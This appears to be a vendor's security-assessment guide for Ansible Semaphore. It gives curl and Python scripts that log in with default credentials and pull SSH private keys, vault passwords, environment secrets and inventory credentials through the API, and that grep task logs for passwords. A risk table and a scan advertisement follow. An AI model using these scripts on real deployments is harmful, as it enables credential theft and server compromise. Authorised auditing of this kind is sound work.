Ansible Semaphore is the leading open-source web UI for managing Ansible automation, providing a centralized interface for running playbooks, managing inventories, and storing credentials. The security significance is high because Semaphore aggregates SSH private keys for all managed hosts and Ansible Vault decryption passwords into a single database — an attacker who gains Semaphore API access effectively gains the SSH keys to every server the organization manages with Ansible. Key assessment areas: the Semaphore REST API with an API token provides full access to all project secrets; GET /api/project/{id}/keys returns SSH private keys and vault passwords; GET /api/project/{id}/inventory reveals all managed hosts with their connection credentials; task execution logs contain the complete Ansible playbook output including variable values and connection attempts; and Semaphore's environment variables feature stores additional secrets as plaintext key-value pairs. This guide covers systematic Ansible Semaphore security assessment.
# Ansible Semaphore — authentication and API token access
SEMAPHORE_URL="http://semaphore.example.com:3000"
# Login and get session token
SESSION=$(curl -s -c /tmp/semaphore_cookies.txt \
-X POST "${SEMAPHORE_URL}/api/auth/login" \
-H "Content-Type: application/json" \
-d '{"auth":"admin","password":"changeme","remember":true}' 2>/dev/null)
echo "$SESSION" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Session: {d}')
except Exception as e:
print(f'Response: {sys.stdin.read()[:200]}')
" 2>/dev/null
# Get current user info and API tokens
curl -s -b /tmp/semaphore_cookies.txt \
"${SEMAPHORE_URL}/api/user/tokens" 2>/dev/null | python3 -c "
import json,sys
try:
tokens=json.load(sys.stdin)
print(f'API tokens: {len(tokens)}')
for t in tokens:
print(f' [{t.get(\"id\")}] expired={t.get(\"expired\")} created={t.get(\"created\")}')
if not t.get('expired'):
print(f' TOKEN ID: {t.get(\"id\")} (use as Authorization: Bearer token)')
except: pass
" 2>/dev/null
# List all projects the authenticated user can access
curl -s -b /tmp/semaphore_cookies.txt \
"${SEMAPHORE_URL}/api/projects" 2>/dev/null | python3 -c "
import json,sys
projects=json.load(sys.stdin)
print(f'Projects: {len(projects)}')
for p in projects:
print(f' [{p.get(\"id\")}] {p.get(\"name\")} alert={p.get(\"alert\")}')
" 2>/dev/null
# Semaphore key store — SSH private keys and vault passwords
SEMAPHORE_URL="http://semaphore.example.com:3000"
PROJECT_ID=1
TOKEN="your-api-token"
# Get all keys for a project — SSH private keys and vault passwords
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/keys" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
keys=json.load(sys.stdin)
print(f'Keys stored: {len(keys)}')
for k in keys:
print(f' [{k.get(\"id\")}] {k.get(\"name\")} type={k.get(\"type\")}')
ssh = k.get('ssh',{})
if ssh:
login = ssh.get('login','')
passphrase = ssh.get('passphrase','')
private_key = ssh.get('private_key','')
print(f' SSH login: {login}')
if passphrase:
print(f' Passphrase: {passphrase}')
if private_key:
print(f' PRIVATE KEY: {private_key[:60]}...')
# Vault password type
if k.get('type') == 'vault':
print(f' VAULT PASSWORD: {k.get(\"string\",{}).get(\"secret\",\"\")}')
" 2>/dev/null
# Get all environment variables — additional secrets stored as env vars
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/environment" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
envs=json.load(sys.stdin)
print(f'Environments: {len(envs)}')
for e in envs:
print(f' [{e.get(\"id\")}] {e.get(\"name\")}')
# Environment JSON contains all extra vars including secrets
import re
env_json = e.get('json','{}')
# Extract any credential-like values
vars_dict = json.loads(env_json) if isinstance(env_json, str) else env_json
for key, val in vars_dict.items():
if any(k in key.lower() for k in ['password','secret','token','key','api']):
print(f' {key} = {val}')
" 2>/dev/null
# Semaphore inventory and task logs — managed hosts and execution output
SEMAPHORE_URL="http://semaphore.example.com:3000"
PROJECT_ID=1
TOKEN="your-api-token"
# Get all inventories — reveals managed hosts and connection credentials
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/inventory" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
invs=json.load(sys.stdin)
print(f'Inventories: {len(invs)}')
for i in invs:
print(f' [{i.get(\"id\")}] {i.get(\"name\")} type={i.get(\"type\")}')
# Static inventories contain host/group definitions with connection vars
inventory_content = i.get('inventory','')
if inventory_content:
print(f' Content preview: {inventory_content[:200]}')
# ansible_password, ansible_become_pass often included in inventory vars
ssh_key_id = i.get('ssh_key_id')
if ssh_key_id:
print(f' Uses SSH key ID: {ssh_key_id}')
" 2>/dev/null
# Get task execution history and logs — contain full playbook output
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/tasks" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
tasks=json.load(sys.stdin)
print(f'Tasks in history: {len(tasks)}')
for t in tasks[:5]:
print(f' [{t.get(\"id\")}] template={t.get(\"template_id\")} status={t.get(\"status\")} end={t.get(\"end\")}')
" 2>/dev/null
# Retrieve full output of a specific task — may contain variable values
TASK_ID=1
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/tasks/${TASK_ID}/output" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys,re
output=json.load(sys.stdin)
full_log = ' '.join(o.get('output','') for o in output)
# Look for credential patterns in Ansible output
patterns = ['ansible_password', 'ansible_become_pass', 'vault_', 'password', 'secret']
for line in full_log.split('\n'):
if any(p in line.lower() for p in patterns):
print(line)
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| SSH private key extraction via API | GET /api/project/{id}/keys with valid session — returns SSH private keys stored for managed hosts in plaintext; provides SSH access to all servers in the Semaphore inventory without needing host passwords | Critical |
| Ansible Vault password retrieval | GET /api/project/{id}/keys filtering for vault type — returns vault decryption passwords; allows decryption of all Ansible Vault-encrypted variable files and strings used in the project's playbooks | Critical |
| Inventory credential extraction | GET /api/project/{id}/inventory — returns inventory content including ansible_password, ansible_become_pass, and other connection variables; reveals all managed host addresses and their connection credentials | High |
| Environment variable secret exposure | GET /api/project/{id}/environment — returns environment JSON with all extra vars including API keys, database passwords, and service credentials stored as Semaphore environment variables | High |
| Task log credential extraction | GET /api/project/{id}/tasks/{task_id}/output — full playbook stdout including variable values logged at debug verbosity; grep for password, secret, key patterns in historical task logs | Medium |
Ironimo tests Ansible Semaphore deployments for SSH private key extraction via the key store API, Ansible Vault password retrieval, inventory credential and managed host enumeration, environment variable secret exposure, task execution log credential leakage, API token scope and expiry audit, LDAP/OIDC vs local authentication assessment, and network access restriction review.
Start free scan